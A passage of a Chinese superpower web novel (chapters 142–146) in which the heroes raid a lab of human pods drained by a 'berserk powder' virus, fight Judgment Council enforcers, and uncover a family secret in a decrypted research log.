“生命能量异常活跃。”苏清月的绿藤在指尖绕了个圈,叶片微微卷曲,“但都是濒死的波动,像被榨干的海绵。”
她蹲下身,指尖轻触地面。绿藤顺着裂缝钻进去,没过几秒就猛地弹回来,尖端沾着几滴粘稠的黑色液体。液体落在地上,竟像拥有生命般蠕动起来,在水泥地上烧出细小的孔洞。
“是浓缩的狂化散。”苏清月的脸色沉了下去,“浓度是登记大会的五十倍。”
林悦用电筒照向厂房深处,光柱劈开黑暗,照亮了挂在墙上的生锈铁牌——上面用红漆写着“701-3号培育区”,数字后面还画着个简化的试管图案,和狂化者体内芯片上的标记如出一辙。
“看来找对地方了。”林悦握紧了腰间的枪,电流在枪身缠绕成细密的网,“老鬼说这里有通往地下的入口。”
费勇的影子在地面铺开,像墨汁般渗入每个角落。他闭着眼感知片刻,突然指向西侧墙角的压缩机:“在那后面。影子到不了地下三层,被某种能量挡住了。”
魔方走上前,手指在压缩机表面敲了敲,金属外壳立刻发出空洞的回响。“空间屏障。”他从口袋里摸出个金属小球,往地上一抛,小球炸开银色的光雾,“大概能维持五分钟,够你们开门了。”
光雾笼罩的瞬间,费勇已经操控影子缠住压缩机的底座。随着他一声低喝,半吨重的机器被硬生生掀翻,露出后面的金属门——门上没有锁孔,只有块嵌在中央的黑色晶体,晶体里流动着和狂化散相同的紫色光芒。
“是能量锁。”苏清月凑近观察,绿藤小心翼翼地触碰晶体表面,“需要注入生命能量才能打开,但它会反向吸收能量……像个贪婪的寄生虫。”
“那就给它喂点‘**’。”林悦突然笑了,握住苏清月的手腕,将雷电能量顺着她的手臂导入绿藤,“试试这个组合拳。”
雷电与绿藤接触的瞬间,紫色晶体剧烈闪烁起来。原本温顺的生命能量突然变得狂躁,裹挟着电流钻进晶体内部。只听“咔嚓”一声,晶体表面布满裂纹,金属门缓缓向内打开,露出深不见底的楼梯。
楼梯间弥漫着更浓郁的血腥味。夏艳玲抱着布娃娃,小脸埋在费勇背后,声音带着哭腔:“好多人在哭……他们说冷。”
她指尖散逸的金色光粒飘向楼梯深处,像被无形的手牵引着,在半空中组成断断续续的光点——那是无数濒死的情绪残留,汇聚成令人窒息的绝望气场。
费勇反手握住夏艳玲的手,影界领域在楼梯间展开,将那些负面情绪隔绝在外:“别怕,我们来带他们回家。”
地下三层的景象让所有人都屏住了呼吸。
数百个透明培养舱整齐排列着,像巨型试管般矗立在黑暗中。每个舱体里都漂浮着一个人,男女老少都有,身上插满了透明的管子,管子里流动着紫黑色的液体——正是浓缩的狂化散。他们的皮肤呈现出和张科长相似的黑色纹路,双眼紧闭,胸口微弱起伏,显然还活着,却像被抽走了灵魂的木偶。
培养舱的外壳上贴着标签,用打印体写着“母体候选者-XXX”,编号从001一直排到372。
“372个人……”苏清月的声音发颤,她走到最近的培养舱前,看着里面那个和自己年纪相仿的女孩,绿藤不受控制地缠上舱体,“他们在被活活榨干生命能量。”
费勇的影子爬上舱体,感知到里面微弱的生命波动:“还有意识,但被深度催眠了。这些管子不仅在抽取能量,还在输入某种精神指令。”
林悦突然指向培养舱群中央:“看那里。”
众人顺着她的目光看去,心脏骤然缩紧——在数百个培养舱环绕的中心,矗立着一个三倍高的巨型容器。容器里充满了淡绿色的液体,液体中漂浮着个女孩,看上去只有七八岁,穿着白色的连衣裙,胸口插着根比手臂还粗的管子,管子分支成数百条细管,分别连接着周围的培养舱。
最让人震惊的是,她的脸竟和夏艳玲一模一样。
“妹妹……”夏艳玲突然挣脱费勇的手,跌跌撞撞地冲向巨型容器。布娃娃在她怀里剧烈发光,纽扣眼睛里流出金色的液体,像在哭泣。
“艳玲!”费勇立刻追上去,影界领域紧紧跟着她,生怕触发什么机关。
夏艳玲扑在容器壁上,小手贴着冰冷的玻璃。容器里的女孩似乎感觉到了什么,紧闭的双眼缓缓睁开——那是双和夏艳玲一样的琥珀色眼睛,清澈得像溪水,却带着不属于孩童的空洞。
四目相对的瞬间,奇迹发生了。
夏艳玲怀里的布娃娃炸开刺眼的金光,容器表面也浮现出相同的金色纹路。那些连接培养舱的管子开始剧烈震动,里面的紫
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黑色液体逆流而上,竟顺着主管道涌向巨型容器!
“这是……情绪共鸣?”苏清月惊讶地看着这一幕,绿藤上的叶片全部转向容器,“她们的生命频率完全一致,像……像同一个人。”
容器里的女孩看着夏艳玲,嘴唇动了动,无声地吐出两个字。夏艳玲却像听到了一样,眼泪突然决堤:“姐姐在这里……姐姐来接你了。”
就在这时,培养舱群突然发出刺耳的警报声。红色的警示灯开始闪烁,所有培养舱的液体都剧烈翻腾起来,里面的人痛苦地蜷缩身体,黑色纹路以肉眼可见的速度扩散。
“不好!”林悦的电流突然感应到什么,猛地指向天花板,“有东西正在靠近!速度很快!”
费勇抬头,影界领域瞬间绷紧。他清晰地感知到,数十个强化过的执法者正从通风管道袭来,他们的影子里混杂着空间碎片的能量波动——显然是裁决会的增援。
“魔方!”费勇喊道。
“收到!”魔方的声音从楼梯口传来,紧接着是金属扭曲的巨响,“入口暂时封**,但他们有空间系异能者,撑不了多久!”
苏清月当机立断:“费勇,你带艳玲保护中心容器!林悦,我们去关闭培养舱的能量源!”
她指着西侧墙壁的控制台:“那里有生命能量反应,应该是总开关!”
林悦点头,雷电在她脚下炸开,整个人化作蓝色的闪电冲向控制台。苏清月的绿藤紧随其后,在培养舱之间织成防护网,将那些开始躁动的“候选者”与三人隔离开来。
费勇则站在巨型容器前,影刃在他周身盘旋。他看着夏艳玲贴在容器上的背影,看着她和里面的女孩额头相抵,看着布娃娃的金光与容器的纹路逐渐融合,突然明白了什么。
“母体候选者……”费勇低声重复着标签上的字,眼神锐利如刀,“裁决会要的不是普通的狂化者,是能承载所有病毒的容器。”
而夏艳玲,很可能就是那个“完美容器”的另一半。
警报声越来越急促,通风管道的金属外壳开始变形,显然是执法者的攻击已经到了。费勇深吸一口气,影界领域再次扩张,将整个地下三层笼罩其中。
“想动她,先踏过我的影子。”他的声音在空旷的空间里回荡,带着不容置疑的决心。
夏艳玲没有回头,只是轻轻抚摸着容器壁,布娃娃的光芒越来越亮:“妹妹不怕,姐姐带你回家。”
容器里的女孩眨了眨眼,嘴角似乎勾起了一抹极淡的微笑。
第143章:情绪核心的共鸣
“姐姐……”
女孩的声音很轻,像羽毛落在水面,却在地下三层掀起惊涛骇浪。夏艳玲猛地抬起头,眼泪糊住的视线里,容器里的女孩正对着她微笑——那笑容和布娃娃嘴角的弧度一模一样,带着种超越年龄的温柔。
“你能说话?”夏艳玲的声音抖得不成样子,她下意识地把布娃娃举到容器前,“它说你一直在等我。”
布娃娃的纽扣眼睛突然转动,金色的光芒顺着娃娃的手臂流到夏艳玲掌心,再透过玻璃渗入容器。淡绿色的液体开始冒泡,女孩胸口的管子剧烈震颤,里面的紫黑色液体像被火烧的油脂般滋滋作响,竟一点点褪去颜色。
“这是……净化?”苏清月刚跑到控制台前,回头就看到这震撼的一幕,绿藤上的叶片全部竖了起来,“情绪能量在中和狂化散!”
林悦的雷电正劈向控制台的密码锁,闻言分神瞥了一眼,电流差点劈歪:“她俩到底是什么关系?双胞胎也没这本事吧!”
“可能不止是双胞胎。”费勇的影子缠绕在容器周围,形成密不透风的防护层,他能清晰地感知到两股能量正在融合——夏艳玲的情绪核心像颗跳动的小太阳,而容器里女孩的能量场则像轮弯月,合在一起时竟散发出完整的生命光辉。
就在这时,通风管道的铁皮被硬生生撕开。三十多个执法者鱼贯而出,黑色制服上的裁决会徽章在警示灯下闪着寒光。领头的是个独眼男人,手里拎着柄锯齿状的巨斧,斧刃上还沾着暗红色的血渍。
“抓住那个小的!”独眼男嘶吼着挥斧砍来,斧刃劈开空气时带着刺耳的尖啸,“判官说了,活要见人,死要见尸!”
费勇早有准备,影界领域猛地收缩。执法者脚下的影子突然活过来,化作无数黑色绳索缠住他们的脚踝。最前面的两个执法者猝不及防,当场摔了个狗啃泥,锯齿斧在地上砸出火星四溅的深坑。
“清月,加快速度!”费勇的影刃在他指尖流转,眼神冷得像冰,“这些杂碎交给我。”
苏清月点头,绿藤突然从控制台的缝隙里钻进去,像拥有自主意识般拨动内部的线路。培养舱的警报声戛然而止,但那些连接管道的破裂速度却更快了,紫黑色液体溅到地上,竟开始蒸发成有毒的雾气。
“不好!”苏清月脸色骤变,“狂化散在高温下会挥发!”
她话音未落,离得最近的培养舱突然“砰”地炸开。里面的中年男人浑身冒着黑烟,皮肤皲裂如老树皮,双眼翻白地扑向林悦——正是编号001的母体候选者,此刻已经彻底狂化。
“滚!”林悦侧身避开,雷电在她掌心凝成球状,狠狠砸在狂化者胸口。蓝色电弧瞬间包裹住对方,却没能阻止他的动作,反而让那些黑色纹路更加活跃,像蚯蚓般在皮肤下游走。
“他的神经系统已经被病毒吞噬了!”苏清月急喊,绿藤迅速缠上狂化者的四肢,“普通攻击没用,得破坏芯片!”
林悦立刻调整电流频率,细如发丝的雷电顺着绿藤钻进狂化者后颈。只听“滋啦”一声,狂化者的动作突然僵住,直挺挺地倒在地上,后颈渗出带着焦味的黑血——微型芯片被精准击毁。
“还有三十七个!”林悦甩了甩发麻的手臂,额角渗出细汗,“这破地方快成病毒蒸笼了!”
费勇这边也打得如火如荼。他故意放任三个执法者突破影绳,在他们扑向夏艳玲的瞬间,影子突然化作尖刺从地面弹出,精准地刺穿了他们手腕上的异能抑制器。
“没了这玩意儿,你们就是废柴。”费勇冷笑一声,影刃横扫而过,将三人的武器斩成两段。他没下**,只是用影子把他们捆成粽子扔到角落——这些家伙说不定能当活口。
独眼男见状怒吼着亲自冲锋,锯齿斧带着力量强化的异能劈向费勇面门。费勇不闪不避,影界领域突然下沉三寸,独眼男的斧头劈在空处,重心不稳的瞬间,费勇已经绕到他身后,影刃抵住了他的咽喉。
“说,判官为什么要抓艳玲?”费勇的声音压得很低,带着暗影能量特有的冰冷,“别逼我用影子扒开你的脑子看。”
独眼男梗着脖子不肯开口,额头上暴起青筋。费勇挑眉,刚要催动影界领域制造痛感,却被夏艳玲的哭声打断。
“妹妹!”
容器里的女孩身体正在变得透明,淡绿色的液体逐渐变成金色,那些连接培养舱的管子像被阳光晒过的冰棱,寸寸断裂。女孩的手贴在玻璃上,掌心浮现出和夏艳玲一样的金色印记——那是情绪核心的标志。
“姐姐,接住……”女孩的身体化作无数光粒,像萤火虫般涌向夏艳玲,“妈妈说……要把这个还给你……”
光粒涌入夏艳玲体内的瞬间,她像被烫到般蜷缩起来,布娃娃从手中滑落。费勇立刻撇下独眼男冲过去,却被一股无形的能量屏障挡住。他眼睁睁看着夏艳玲悬浮在空中,金色光粒在她体内游走,原本瘦弱的身体竟散发出温暖的光芒,像个小小的太阳。
“这是……情绪核心的完全觉醒?”苏清月看得目瞪口呆,绿藤自动在夏艳玲周围织成保护罩,“她在吸收另一个女孩的能量!”
更惊人的事情发生了。随着夏艳玲体内的金光越来越盛,那些破裂的培养舱里,原本昏迷的人们纷纷睁开眼睛。黑色纹路从他们皮肤上褪去,有人开始咳嗽,有人茫然地敲打着舱体,372个被当作“养料”的生命,竟在情绪核心的光芒中逐一苏醒。
“活了……他们都活了!”林悦惊喜地喊道,刚要上前帮忙打开舱体,却发现控制台屏幕突然亮起。
屏幕上跳出段模糊的视频,画面抖动得厉害,只能看到个穿着白大褂的女人背影,怀里抱着两个襁褓中的婴儿。
“……必须分开送出去。”女人的声音带着哭腔,背景里能听到警报声和**,“情绪核心太特殊,判官不会放过她们……记住,等她们合
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二为一那天,就是病毒终结之时……”
视频到这里戛然而止。夏艳玲恰好从空中落下,费勇眼疾手快地接住她,发现她额头多了个淡金色的印记,和视频里女人白大褂上的标志一模一样。
“妈妈……”夏艳玲喃喃自语,突然抓住费勇的手,眼睛亮得惊人,“我想起来了!妈妈是这里的研究员,她偷了病毒抗体,把我和妹妹藏在通风管道……”
她的记忆像被解开的锁链,断断续续地涌出来:“妹妹身体弱,妈妈把一半情绪核心给了她……我们说好要在青禾堂门口的老槐树下见面……”
“青禾堂?”苏清月猛地抬头,绿藤不受控制地颤抖,“我爷爷的青禾堂?”
费勇突然想起老鬼留下的文件,结合张科长的遗言和夏艳玲的记忆,一个惊人的猜测在他脑中成型:“你妈妈,是不是叫苏婉?”
夏艳玲愣住了,随即用力点头:“对!妈妈说她本来姓苏,后来才改随父姓……”
苏清月踉跄着后退一步,撞在控制台上。她看着夏艳玲额角的印记,又想起布娃娃上浮现的“青禾堂”三个字,突然捂住嘴,眼泪汹涌而出:“苏婉……是我失踪的姑姑!十年前她说去701研究所卧底,再也没回来……”
真相像拼图般合拢,带着令人窒息的冲击力。
原来夏艳玲和苏清月是表姐妹。
原来十年前偷走病毒抗体的,是青禾堂的人。
原来判官处心积虑要找的,从来都不只是情绪核心,而是能彻底终结病毒的抗体秘密。
通风管道里传来更密集的脚步声。费勇看向屏幕上闪烁的倒计时——自毁程序已经启动,还有五分钟。
“清月,带幸存者从紧急通道走。”费勇把夏艳玲交给她,影界领域扩展到最大,“林悦,帮我拖住追兵。”
林悦挑眉,雷电在她指尖炸出噼啪的响声:“说得好像我会拖后腿似的。”她踹了脚被捆住的独眼男,“想活命就带路,不然让你尝尝被狂化散啃噬的滋味。”
独眼男脸都白了,忙不迭地点头。
苏清月抹掉眼泪,绿藤已经缠上最近的培养舱,轻轻将舱体切开:“姑姑的抗体研究,一定藏在青禾堂。”她看向费勇,眼神坚定,“我们在那里汇合。”
夏艳玲抱着失而复得的布娃娃,突然对费勇喊道:“小心判官!他说要拿你的影子做容器!”
费勇心头一凛,影界领域感知到通风管道里传来熟悉的能量波动——和影石阵同源,却带着更危险的压迫感。
“走!”他推了苏清月一把,影刃在他周身盘旋成黑色的风暴,“我倒要看看,判官准备了什么大礼。”
自毁程序的警报声越来越急促,地下三层的灯光开始疯狂闪烁。费勇站在培养舱群中央,看着幸存者们跟着苏清月撤离,看着林悦押着独眼男冲向另一侧通道,突然笑了。
影界领域里的影子们躁动起来,像在呼应着某种遥远的召唤。
第144章:费勇的影藤陷阱
“轰隆——”
通风管道的残骸还在往下掉水泥块,费勇刚把最后一根影刃钉进偷袭者的肩胛骨,就听见头顶传来金属撕裂的巨响。抬头时,正看见个铁塔似的壮汉撞破天花板跳下来,半米长的巨斧在落地时砸出蛛网状的裂纹,震得整个地下三层都在晃。
“裁决会执法三队,王猛。”壮汉扯掉脸上的防尘口罩,露出道横贯鼻梁的刀疤,斧刃上的寒光映得他眼神像淬了毒,“费勇,判官要你的影子当祭品。”
费勇挑了挑眉,影界领域悄然铺开。他注意到王猛手腕上的异能抑制器比之前那些小喽啰的厚三倍,表面还刻着银色的纹路——明显是针对高阶异能者的加强版。
“祭品?”费勇的影子顺着地面爬到王猛脚边,像条伺机而动的蛇,“他没告诉你,抢祭品容易被噎死吗?”
王猛怒喝一声,巨斧带着呼啸的风声横扫过来。费勇早有准备,影遁发动的瞬间,身体化作道黑烟闪到侧面。斧头劈在空处,却在地面激起道冲击波,把旁边几个空培养舱震得粉碎。
“力量强化异能,还加了增幅装置。”费勇摸着下巴打量对方腰间的金属盒子,突然冲刚跑到紧急通道口的苏清月喊,“清月,还记得登记大会上那招‘藤缠树’吗?”
苏清月正指挥幸存者撤离,闻言回头看了眼王猛脚下疯狂滋生的裂纹,绿藤在她指尖打了个旋:“你想试试暗影版?”
“试试就试试。”费勇的影子突然暴涨,像块黑布般铺到苏清月脚边。
王猛显然没把两个“小年轻”的对话放在眼里,他猛地跺脚,地面的裂纹竟顺着费勇的影子蔓延过来,带着股蛮横的力量想撕裂影界领域。
“就是现在!”费勇低喝一声。
苏清月指尖的绿藤瞬间扎进费勇的影子里。奇妙的事情发生了——原本翠绿的藤蔓被暗影能量包裹后,竟染上了墨色,边缘还长出了半透明的倒刺,像淬了剧毒的荆棘。
“这是……”苏清月惊讶地看着自己的异能变异,绿藤顺着影子快速蔓延,在王猛周围织成个巨大的网。
“暗影能放大攻击,你的藤蔓能锁住能量。”费勇的声音带着笑意,影界领域突然收缩,“试试给这网加点料?”
苏清月立刻会意,生命能量顺着藤蔓注入。那些黑色的藤网突然活了过来,像拥有自主意识般收紧,倒刺深深扎进王猛的制服。王猛刚想挥斧砍断藤蔓,却发现斧刃碰到藤网的瞬间,力量竟顺着倒刺被吸走了,斧头变得越来越沉。
“怎么可能……”王猛的脸涨成猪肝色,他能感觉到体内的力量正顺着藤蔓流出去,手腕上的抑制器突然发出刺耳的警报声。
“异能抑制器对融合能量没用。”费勇缓步走到他面前,影刃在指尖转了个圈,“而且你的能量,味道不错。”
话音刚落,藤网上突然冒出密密麻麻的花苞。那些花苞在吸收了王猛的力量后,竟在暗影能量中绽放开来,开出朵朵墨色的花,花瓣边缘泛着诡异的银光。
“这是……”苏清月看得目瞪口呆,她能感觉到这些花正在自主吸收周围的狂化散雾气,“它们在净化毒素!”
王猛彻底慌了,他扔掉巨斧想徒手扯断藤蔓,却被突然加速生长的藤条缠住了胳膊。那些黑色的花落在他皮肤上,竟像有生命般钻进毛孔,吓得他发出惊恐的嘶吼。
“别紧张,只是让你体验下被能量反噬的滋味。”费勇拍了拍他的肩膀,影界领域突然散去,“清月,带他走,这家伙知道的肯定比独眼龙多。”
苏清月点头,控制着藤网把王猛捆成粽子,推给后面赶来的两个幸存者:“跟着大部队去紧急通道,老鬼安排的人在外面接应。”
就在这时,通风管道里又传来杂乱的脚步声。费勇抬头,看见十几个执法者正顺着管道往下跳,为首的那个手里拿着个银色的圆筒,明显是某种重武器。
“看来是捅了马蜂窝。”费勇活动了下手腕,刚才复制苏清月能力的后遗症开始显现,太阳穴有点突突跳,“清月,你先带大家走,我断后。”
苏清月却没动,她看着地上那些黑色的花瓣突然笑了:“不用。你看——”
只见那些落在地上的花瓣突然化作黑色的种子,在费勇的影子滋养下,瞬间长成半米高的荆棘丛。每个荆棘丛的顶端都顶着朵花苞,像等待命令的哨兵。
“这些是……种子?”费勇惊讶地发现,这些荆棘丛竟然能自主感知到执法者的影子,“你的藤蔓还能留种?”
“是暗影能量让它们变异了。”苏清月的绿藤轻轻触碰荆棘丛,花苞立刻微微颤动,“它们能感应到敌意,而且……”
她话没说完,最先跳
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下来的执法者刚好踩进荆棘丛。那些花苞瞬间炸开,黑色的藤蔓像弹簧般弹起,瞬间缠住了他的脚踝,倒刺直接穿透了靴子。
“还能自动触发。”费勇吹了声口哨,影界领域再次展开,这次他特意把所有执法者的影子都引向荆棘丛,“清月,你这波辅助我给满分。”
苏清月被他逗笑了,眼角的泪痣在警示灯下显得格外生动:“快去干活,自毁倒计时只剩两分钟了。”
费勇笑着敬了个礼,影刃化作道黑光射向拿重武器的执法者。那家伙显然没料到攻击来得这么快,慌忙举起圆筒想发射,却被突然从脚下窜出的荆棘缠住了手腕。
“砰!”重武器掉在地上,刚好砸在另一个执法者的影子上。更多的荆棘丛破土而出,转眼间就在执法者中间织成了个黑色的牢笼。
“这配合,绝了。”费勇看着被荆棘丛捆成串的执法者,突然觉得复制苏清月的能力或许是个不错的选择——就是这头晕的后遗症有点烦人。
苏清月已经带着最后几个幸存者冲进紧急通道,她回头朝费勇挥了挥手,绿藤在通道口织成道防护墙:“我们在青禾堂等你!”
“收到!”费勇的影刃斩断最后根试图偷袭的藤蔓,抬头看了眼不断闪烁的红色倒计时——还有三十秒。
他不再恋战,影遁发动的瞬间,身体化作道黑烟冲向通风管道。路过王猛被捆住的地方时,顺手扯下了他腰间的能量增幅器。
“借你的玩具玩玩。”费勇的声音在管道里回荡,身后传来剧烈的**声。
地下三层在火光中坍塌的瞬间,费勇刚好从化工厂的通风口钻出来。夜风吹散了他身上的硝烟味,远处传来警笛声,应该是林悦联系的特调科支援到了。
他摸了摸口袋里的增幅器,又看了眼掌心残留的黑色藤蔓印记,突然觉得头更晕了。暗影能量和生命能量的融合虽然威力惊人,但两种能量在体内冲撞的感觉,就像同时喝了烈酒和浓茶,说不出的难受。
“看来这融合技不能常用。”费勇靠在墙上喘了口气,影界领域里突然传来阵细微的震动,像是有什么东西被刚才的**惊醒了。
他抬头望向夜空,星星被化工厂的浓烟遮住,只剩下轮残月挂在天上。不知为何,他总觉得那月亮的影子里,藏着双正在注视着他的眼睛。
第145章:林悦的雷形态
青禾堂后院的百年槐树下,苏清月正蹲在笔记本电脑前快速敲击键盘。屏幕上滚动着701研究所的加密数据,绿色藤蔓从她袖口钻出,轻轻搭在键盘边缘——这是她发明的"生命能量解码法",用植物的波动频率破解电子密码,比常规算法快三倍。
"还有最后两组密钥。"苏清月额角渗着细汗,指尖的绿藤微微发颤,"这些数据提到了''影石阵激活条件'',好像和费勇的影子有关......"
话音未落,院墙上突然炸开一串银色的碎片。那些碎片像有生命般在空中盘旋,瞬间组合成把锋利的镰刀,直劈苏清月的后颈。
"小心!"
林悦的吼声刚落,人已经像炮弹般撞开苏清月。银色镰刀擦着她的肩膀劈在地上,石板被割出道半米深的沟壑,边缘还在滋滋冒着空间撕裂的黑烟。
"空间碎片审判长。"林悦扶着苏清月后退三步,右手按在腰间的配枪上,指节因用力而发白,"裁决会的走狗动作倒是挺快。"
墙头站着个穿黑色风衣的男人,脸上戴着银色面具,只露出双没有瞳孔的灰白色眼睛。他抬起手,更多的空间碎片在掌心凝聚,像堆随时会**的碎玻璃。
"交出数据,留你们全尸。"审判长的声音像生锈的铁片摩擦,每个字都带着冰冷的杀意,"判官要亲自''审判''这些秘密。"
苏清月立刻将笔记本电脑塞进怀里,绿藤在她身前织成密不透风的防护墙:"数据里有你们用普通人做实验的证据,绝不可能给你!"
"那就一起死。"审判长挥手甩出碎片。这次的碎片在空中划出诡异的弧线,绕过绿藤防护墙,直取苏清月怀中的电脑。
林悦瞳孔骤缩,左手突然抓住右手手腕。蓝色的电流顺着她的手臂窜起,在掌心凝成个不断旋转的电球。"清月,带数据去前院找费勇!"她猛地将电球砸向地面,"这里我顶着!"
电流落地的瞬间,林悦的头发突然无风自动,全身皮肤泛起刺眼的蓝光。她身上的警服被电弧撕裂,露出的皮肤上布满了闪电状的纹路——那是雷霆异能的终极形态,以消耗生命力为代价,换取短时间内的战力飙升。
"雷形态......"审判长的面具下发出声冷笑,"十年前你父亲就是死在这招下,看来你们父女都一样愚蠢。"
这句话像针一样扎进林悦心里。她想起父亲的葬礼上,特调科科长塞给她的那张照片——父亲倒在血泊中,胸口插着的正是这种空间碎片。
"你找死!"林悦的声音里带着哭腔,却更添几分狠厉。她的身体化作道蓝色闪电,在碎片雨中穿梭,速度快到留下残影。
"噼啪!"
第一道雷电击中审判长的肩膀。他显然没料到雷形态的速度如此惊人,被打得后退两步,面具上裂开道缝隙。
"有点意思。"审判长擦掉嘴角的血,周围的空间开始扭曲,"但你能接得住这个吗?"
他双手合十,空间碎片突然在半空中组成个巨大的漩涡。漩涡中心的引力极强,苏清月的绿藤防护墙开始被一点点撕碎,连地面的石板都在向上浮动。
"清月快走!"林悦回头吼道,双手猛地拍向地面。蓝色的雷电顺着她的掌心注入大地,在地上画出个直径十米的雷阵。无数道闪电从阵中升起,组成个倒扣的圆锥体,将漩涡牢牢罩在里面。
这是她独创的"雷电囚笼",用高密度电流干扰空间波动。但维持这个囚笼显然消耗巨大,林悦的嘴唇开始发白,皮肤上的闪电纹路以肉眼可见的速度黯淡下去。
"撑不了多久......"她咬着牙看向审判长,电弧在她眼中跳跃,"有本事就打破这个笼子!"
审判长冷笑一声,双手猛地向中间合拢。空间漩涡的转速骤然加快,与雷电囚笼碰撞的地方发出刺耳的尖啸,蓝色的电弧和银色的碎片不断湮灭,产生的冲击波让整个后院的地面都在震动。
就在这时,一道黑色的影子突然从围墙外窜进来,影刃带着破空声直取审判长的后心。
"费勇!"苏清月惊喜地喊道。
费勇的影刃被空间漩涡弹开,他顺势翻滚到林悦身边,影界领域瞬间展开:"疯女人!谁让你开雷形态的?"他看着林悦苍白的脸,语气里带着掩饰不住的焦急,"你想步你爸的后尘吗?"
林悦咳出一口血,却倔强地扬起下巴:"总比让这些秘密落入裁决会手里强。"她突然笑了,眼角的泪混着汗水滑落,"再说了......这招我练了十年,早就不是当年的样子了。"
话音刚落,雷电囚笼突然发出声脆响。一道空间碎片突破了电流的封锁,直刺林悦的胸口——和当年击中她父亲的位置一模一样。
"小心
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!"费勇想也没想就扑过去,用自己的后背挡住碎片。
"嗤啦!"
碎片穿透费勇的肩膀,带出一串黑色的血珠。但奇怪的是,碎片在接触到他影子的瞬间,突然像被冻结般停住了。
费勇忍着剧痛抓住碎片,影界领域猛地收缩。他能感觉到一种陌生的能量顺着碎片涌入体内——那是空间碎片的异能,被他的暗影重构能力复制了。
"这是......"审判长的声音里第一次出现了惊讶。
费勇嘴角勾起抹冷笑,右手的影刃突然化作无数细小的碎片。这些碎片和审判长的空间碎片一模一样,却泛着黑色的暗影能量。
"多谢你的能力。"费勇猛地将黑色碎片甩向审判长,"现在尝尝自己的招式吧!"
黑色碎片穿过空间漩涡,精准地击中审判长的胸口。他身上的空间波动瞬间紊乱,巨大的漩涡开始崩溃,碎片像雨点般落回地面。
"不可能......"审判长看着自己胸口不断扩大的伤口,身体开始化作光点消散,"判官大人不会放过你们的......"
他的声音越来越小,最终彻底消失在空气中。
雷形态的光芒这时才从林悦身上褪去。她脱力地倒向地面,被费勇眼疾手快地接住。
"逞英雄很好玩吗?"费勇的声音有些发颤,撕开自己的衬衫给她包扎伤口,"知不知道刚才你离死就差零点一秒?"
林悦靠在他怀里,虚弱地笑了笑:"但我们保住了数据......我爸当年没做到的事,我做到了。"她闭上眼睛前,看到费勇肩膀的伤口在自动愈合,那些黑色的血珠滴在地上,竟像活物般钻进了影子里。
苏清月这时才敢跑过来,绿藤轻轻搭上林悦的手腕:"她的生命力流失很严重,需要立刻治疗!"
费勇点头,小心翼翼地抱起林悦。他看向自己肩膀的伤口,那里的皮肤正在以肉眼可见的速度愈合,但体内却传来一阵剧烈的绞痛——复制空间异能的反噬比他想象中要猛烈得多。
"先去前院找夏艳玲。"费勇的声音有些沙哑,影界领域里的影子开始躁动,"她的情绪能量或许能缓解清月的消耗。"
他抱着林悦往前走,没注意到自己的影子里,正有什么东西在悄悄改变——那些黑色的空间碎片能量,正在和暗影本源融合,形成一种全新的、更危险的力量。
第146章:老鬼的遗产
青禾堂的药柜散发着苦艾与当归混合的香气,苏清月将笔记本电脑摆在落满月光的柜台上,指尖的绿藤正顺着键盘缝隙钻进主机。屏幕上的加密文件像条顽固的泥鳅,在解码程序里滑来滑去,进度条卡在99%已经整整三分钟。
“不行,得用老鬼的方法。”苏清月咬了咬下唇,从怀里掏出片干枯的银杏叶——这是老鬼临终前托人交给她的,说“解不开的锁,就让植物听听它的心跳”。
她将银杏叶贴在屏幕上,绿藤立刻像找到了猎物的蛇,纷纷缠向叶片。奇妙的事情发生了:银杏叶上的纹路竟顺着藤蔓爬到屏幕里,与加密文件的代码缠绕在一起,进度条瞬间跳成了100%。
“呼……”苏清月松了口气,刚想点开文件,就听见身后传来轻响。回头时,正看见费勇抱着林悦站在药柜旁,夏艳玲踮着脚,用带着治愈光粒的指尖轻轻碰林悦的脸颊。
“她怎么样?”费勇的声音压得很低,肩膀的伤口还在渗血,暗影能量修复伤口时留下的黑色纹路像爬满皮肤的蜈蚣。
“情绪能量能稳住生命力,但得让她好好睡一觉。”夏艳玲的布娃娃掉在地上,她却没心思去捡,大眼睛里满是担忧,“林姐姐的心跳好轻,像快熄灭的蜡烛。”
苏清月立刻让绿藤缠上林悦的手腕,浅绿色的光晕顺着藤蔓流淌:“我已经调配了安神药剂,等她醒了喝掉就没事。”她指了指屏幕,“你们看这个。”
费勇把林悦放在药柜后的躺椅上,凑到电脑前。屏幕上弹出的文档标题让他瞳孔骤缩——《701研究所生命病毒实验日志》,落款日期是十年前,签名处画着个歪歪扭扭的鬼头,正是老鬼的标记。
“这是……”费勇的手指悬在鼠标上,迟迟不敢点开。他总觉得这文档像潘多拉的盒子,里面藏着他不敢面对的真相。
“老鬼在化工厂的电脑里藏了备份。”苏清月滑动鼠标,调出第一页,“他的异能是‘信息镜像’,能把接触过的文件存在影子里,这应该是他最后传出来的情报。”
日志的第一页是张手绘的病毒结构图,像朵扭曲的黑色玫瑰,花瓣上标注着密密麻麻的小字。费勇认出其中几个词——“狂化散”“母体候选者”“影石阵能量源”,都是最近像噩梦一样缠着他们的东西。
“看这里。”苏清月指向结构图中心的红点,“老鬼标注说这是病毒的核心,必须用两种能量同时攻击才能摧毁——暗影本源和情绪核心。”
夏艳玲突然“呀”了一声,指着红点旁的小字:“这是妈妈的笔记!”她指尖的光粒落在屏幕上,那些小字竟发出金色的光芒,“‘情绪核心需双生共鸣才能完全激活’,妈妈说过这句话!”
费勇的心猛地一跳。双生共鸣?难道指的是夏艳玲和那个容器里的女孩?他继续往下翻,日志里开始出现实验数据,字里行间透着老鬼的愤怒——
“3月15日:判官又带走了三个孩子,说是要做‘母体适配实验’。这些疯子根本不懂,生命病毒的本质是吞噬能量,强行注射只会让宿主变成怪物。”
“4月2日:费哥(费勇父亲)的暗影本源能暂时压制病毒,但他的身体快撑不住了。苏婉(夏艳玲母亲)说情绪核心是唯一的解药,可她不肯告诉我核心在哪……”
“5月17日:影石阵快完工了。费哥说这东西能打开影界通道,把病毒永久封印。但我总觉得不对劲,判官看影石阵的眼神像在看祭品……”
日志到这里突然中断,下一页变成了张照片。费勇的呼吸瞬间停滞——照片上站着三个人,老鬼穿着白大褂笑得一脸褶子,左边是个眉眼和费勇极像的男人,正搂着个穿旗袍的女人,女人怀里抱着两个襁褓,隐约能看到其中一个襁褓上绣着朵小莲花。
“那是……我爸妈?”费勇的声音抖得不成样子,手指抚过照片里男人的脸,“他们真的在701研究所……”
苏清月突然捂住嘴,眼眶红了:“穿旗袍的是我姑姑苏婉!她怀里的应该是艳玲和那个女孩……”
